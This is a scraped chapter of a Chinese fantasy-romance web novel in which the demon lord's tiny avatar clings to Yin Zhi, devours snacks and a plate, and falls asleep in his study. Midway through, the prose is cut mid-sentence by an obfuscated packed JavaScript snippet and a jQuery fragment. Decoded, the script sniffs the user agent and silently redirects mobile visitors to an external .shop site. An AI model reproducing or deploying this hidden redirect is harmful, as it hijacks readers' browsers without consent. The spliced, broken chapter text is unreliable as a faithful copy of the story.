文趣网 > 都市小说 > 知途 > 74. 分身
    同一时刻,在妖界闭关修炼的褚颜蓦然睁开了眼,她左手中指上出现了一道明艳的红线,弯弯绕绕,一直往远处延伸,飘向某个地方。

    忽而,那红线弹了一下,另一端好像坠着什么沉甸甸的东西,带动着她的手指勾了勾。

    褚颜感受到了一股令她无比心安的熟悉气息,便弯起唇笑了。

    她微微抬起手,将线往回绕了两圈,红线就像是有生命一样,慢慢地分出很多股,轻柔地缠在她的手腕、脖颈、身体上。

    褚颜在妖界,而她分散在外的那缕神魂却在人界,界门的存在会削弱两者之间的感应。

    既然把她唤醒了,那可得好好对她呀——

    随着她再次合上眼皮,那些缠络在她身上的红线便倏地消失了。

    “师父,颜姐姐怎么变得这么小?”沈终南抬头望着飘在半空中的那抹红衣,一脸惊奇地往前凑了凑,“还有,我们不让她回香囊,她会不会生气啊……”

    褚颜懒懒地打了个哈欠,脸上带着些刚从睡梦中缓醒的惺忪,她揉了两下眼睛,便朝着殷止飞了过去。

    殷止下意识伸出了手,一尺来高的褚颜稳稳地站在了他手心上,她赤着脚,往他掌上踩了两下。

    他没有动,定定地维持着那个掌心向上的姿势,不动声色地看着褚颜,而对方也自若地与他对视着,长睫微微颤动,墨色的眼眸一片湛清。

    这应该……不是消耗类型的分身,除非本体召回,否则不会消失。

    殷止确定这一点后,便放下了心,将香囊收进怀里。

    回去的路上,沈终南屡次向褚颜搭话,但她只是歪着头看他,并不张口,沈终南有几许挫败,难不成颜姐姐的分身不会说话吗?

    不仅如此,他还发现他师父神色有些复杂,看起来似乎高兴,又似乎不高兴,而且动作十分小心翼翼,几乎到了拘谨的地步,跟托塔似的把褚颜给拖在手掌心里。

    沈终南不由喟然。

    反倒是褚颜,站得累了,便顺着殷止的手心攀到了他臂弯处坐下,两条腿垂着一晃一晃,飞火似的裙摆下,精致的银铃若隐若现。

    察觉到殷止身体的僵硬,她扭头仰望着对方绷紧的下颌线,嘴角噙着一丝轻软的笑。

    沈终南欣快道:“师父,颜姐姐好像很依赖你啊。”

    殷止目光沉沉,并未应答,只是将手臂往里收了收,方便褚颜坐得更适意。

    褚颜好奇地看沿途的风景,不时伸手摘两片树叶,把玩片刻后,又扔掉。

    一只蓝翅黑边的蝴蝶蹁跹着,而后落在了她的指尖,扑动着华美的翅膀,长长的口喙上还沾着些许露水。

    褚颜正想将那只蝴蝶送到殷止面前让他也看看,下一刻,蝴蝶却扇动着翅膀飞走了。

    一阵微风拂过,将小径边的绿竹吹得婆娑,簌簌的响声听得人心旷神怡,褚颜垂在腰间的黑发扬起,有一缕拂到了殷止的下巴上。

    有些痒。

    他将那缕发丝别开,替褚颜重新放回腰际。

    湖边,易鸿信窝在竹编的躺椅上,眯着眼睛晒太阳,好不舒适;而易凝荷神情严肃,正在解一把九连环。

    “师妹,你都折腾了一个时辰了,还没解开,”纳明蹲在一旁,满脸促狭地看着她,“还是让我来吧。”

    易凝荷忿忿地瞪他一眼:“只要你别来打扰,我定能解开。”

    纳明贱兮兮地笑了几声,眼梢睨到两道人影从山路后走了出来,便知是殷止回来了,他一骨碌站起身,腿还没迈出去,双目陡然睖睁。

    那个坐在他师兄臂弯里的红色小人是谁?

    纳明脊椎一紧,脚尖点地,直接飞身掠了过去。

    见面前冷不防跳出个陌生人,褚颜本能地往里缩了一下,后背紧贴在殷止肩膀上。

    殷止一皱眉:“你吓到她了。”

    纳明神情惊疑不定,他伸出一根手指,指着褚颜,嗓子眼一阵发麻,像是被无形的棉絮给堵住,半晌,他才骇然道:“这……这该不会就是传闻中的妖主吧?她什么时候出的界门?怎么被师兄你给捡……带回来了?”

    “妖主?”沈终南闻言从后面探出个脑袋,亦是一脸的诧异。

    而廊下的易鸿信和易凝荷也听到了异动,视线齐齐朝这边望了过来。

    一时间,周遭一片死寂。

    其他人在得知那一尺高的小人是妖主的分身后,表情都极为精彩。

    易鸿信没想到他这小庙居然有一天能迎来一尊货真价实的大佛,差点从竹椅上摔下去;而易凝荷直勾勾地盯着那个漂亮得跟像樽瓷器似的小人,终于理解了沈终南之前说的“星子见了月亮”并非是言过其实,不由内心苍凉,黯然神伤。

    纳明的手几次伸出去,又收回来,他从未见过这种类型的分身,甚是想上手研究一下。

    易鸿信挢着脖子,左瞧右瞧,沉吟道:“这种分身不算有自我意识,她的一举一动皆来自于本体,想必是妖主的一缕神魂所化,她便是妖主,妖主便是她。只是要当心,这分身可能含藏了一些本体隐匿得极深的脾性……”

    他话还没说完,褚颜突然从殷止手上飞了出去,飘到了竹椅边的那张木桌上,那上面放着一碟子茶点,她抱起一块比她巴掌还大两圈的核桃软糕,咬了一口。

    软糕又香又糯,入口即化,褚颜眼睛一亮,将桌上那碟子点心风卷残云给吃了,末了,连瓷碟子也不放过,被她给啃了一口。

    殷止:“……”

    其他人:“……”

    所以,褚颜隐藏的性格是……饕餮么?

    易鸿信反应过来,登时就急眼了,忙跑过去一把将那缺了口的瓷碟夺下:“哎哟,这可不能吃!”

    褚颜舔了舔唇,摸了摸圆滚滚的肚子,躺下了,一副吃饱喝足后要小睡片刻的模样。

    易鸿信哭笑不得,他扭头对殷止道:“徒儿,你还不快把这姑娘带回房间睡?”

    他眉心直跳,有些心疼他花了大价钱买的食具。

    待殷止抱着褚颜消失在栈桥尽头后,沈终南才从震惊中回过神来,目瞪口呆道:“颜姐姐她以前不吃这么多的。”

    纳明装腔作势地咳嗽两声,一脸正义道:“我得跟过去看看。”说罢拔腿就走。

    “站住,”易鸿信拽住了他的头发,冷笑一声,“还不快去把你设在第一重试炼之地的阵法给撤了?”

    纳明痛苦地哀嚎一声,他居然把这茬给忘了,看来他师兄的热闹他是凑不了了。

    易凝荷看着那只缺口的瓷碟,瘪了瘪嘴,心想,若是大师兄他喜欢能吃的姑娘,她也可以每顿再多添一碗饭的。

    褚颜被殷止单手拥着,玉白的赤脚蹭在他衣服上,她脸颊上还沾着一些糕点碎屑,像只花猫。

    殷止垂眸看着她,想用指尖帮她抹掉那几点碎屑,但这动作过于亲昵亵慢了,他迟疑了一下,改而用袖口轻轻擦了擦她的唇角。

    他袖口利落地收紧,白色的糕屑染在上面,格外突兀,褚颜双手撑在他手臂上,仰起了头。

    殷止知道她想做什么,将手腕抬高:“脏,不能吃。”

    褚颜张开唇,“唔”了一声。

    原来她是能发出声音的。

    殷止抬眼,褚颜的衣裙和头发挨擦在他胸膛前,让他感觉像是抱了一只毛茸茸的兔子。

    两扇木门立在廊道尽头,他伸手将其推开,只是才踏进去一只脚,便猛地顿住——

    他把褚颜带到他自己的房间里来了。

    见他僵滞在原地,褚颜不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628367|204297||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    解地回头看他。

    殷止定了定神,脸上的细微波澜很快又被压了下去,他反手关上门,往左侧走去。

    他的房间和书房是连通的,只用了一扇屏风分隔开,书案边有一个小榻,可以在上面歇息。

    书房里的书册虽多,却并不杂乱,比人还高的两个木架上堆得满满当当的全是书,案桌边还放了两摞,西墙当中挂着一大幅山水画,案几上宣纸墨迹尚未干。

    殷止将褚颜放在榻上,便折身去拿被褥。

    她现在只有一尺来高,寻常的被褥对她来说太重,殷止在柜子里找了好半晌,才找到一张大小适中的夹被。

    只是等他绕过屏风时,却看见褚颜裹着一件外袍,已经躺下了——不但如此,她身体还变大了好几倍,跟正常的十六岁少女一样了。

    殷止经常在书房看书,一坐就是好几个时辰,还有几日就立冬了,天气愈发寒冷,他便放了一件外袍在书房,有时候看书看得冷了,便拿来披上。

    他瞳孔放大了些许,下一瞬,他一把抓住那件外袍,不过才往外抽了一下,便被褚颜拽住了。

    她抱得太紧,殷止没拉动,见她不肯松手,他有些无奈,道:“这个不能睡。”

    褚颜却觉得这袍子正合适,并且上面的味道也很好闻,丝毫不肯让步,不但如此,她还从裙摆下伸出一只赤脚,踩在殷止手背上,示意他撒手。

    她踝骨伶仃一点,只要一把就能轻松握住。

    而殷止还未适应她突然变大的事实,又被她一碰,忙收回了手,像是被烫到一样,容色稍有不自在。

    他耳根浮上一抹浅绯色,室内安静得一根针掉在地上都清清楚楚,窗外竹影晃动,风声如潮。

    殷止:“要穿鞋。”

    他语气有些重,气息也未平。

    褚颜用那件黑色的外袍将自己给卷成了一只蚕蛹,她假装没听到那句话,反而将殷止垂在身侧的一只手拉了过来,抱在了怀里。

    正好是方才替她擦掉糕点屑的那只手,沾在袖口上的已经被殷止拂掉了,但还是有极小的一粒蹭在了他手腕上。

    褚颜微垂下头,然后毫不犹豫地探出一点舌尖,将那粒碎屑舔走了。

    被她舔过的地方像沾了一点雪水,有细嫩的胚芽从那处萌发钻出,飞快地长成一株常春藤,密密麻麻地从腕骨一路往上,纠缠住殷止那颗沉静荒凉的心脏,而后伸展开繁茂的枝叶,以猝不及防之势硌进了他的血肉。

    殷止嘴唇动了动,却发现自己哑了嗓子,半点也说不出话,有什么东西卡在了喉咙里,不上不下,难受得紧,让他无意识吞咽了一下。

    而褚颜已经调整好了舒适的睡姿,她紧紧搂着那只手,大半个身子都靠在上面,闭上了眼睛。

    她睡觉的时候安静极了,神态之间显得极为放松,呼吸匀称,看着就像是放下了一切,有一种跟她身份不相称的、毫无防备的弱态显现于外。

    将发妖妖丹毁坏的褚颜,与怨魔缠斗的褚颜,和万鬼之尊幽王对话的褚颜,还有现在这个……抱着他衣服和手熟睡的褚颜,到底哪个才是真正的她?

    她进退裕如,妖界和人界,她想来便来,想走便走,擅自闯入别人的生活,事后又无所顾忌地肆意离去,既坦诚又设防,既赤忱,又……虚伪。

    她能从当局者的身份瞬间抽离,变成一个旁观者。

    就那么温存又冷漠地看着人界的一切。

    她是……妖。

    良久,殷止一下子泄了所有力气,背脊不再紧绷,他任由褚颜抱住他的手,眸光深沉,浸了铁水一样。

    屋外不知什么时候下起了雨,宛如挑不开的帘,淅淅沥沥地打在窗户上,氤氲的水汽顺着缝隙透了进来,给整个房间添了一丝熏润。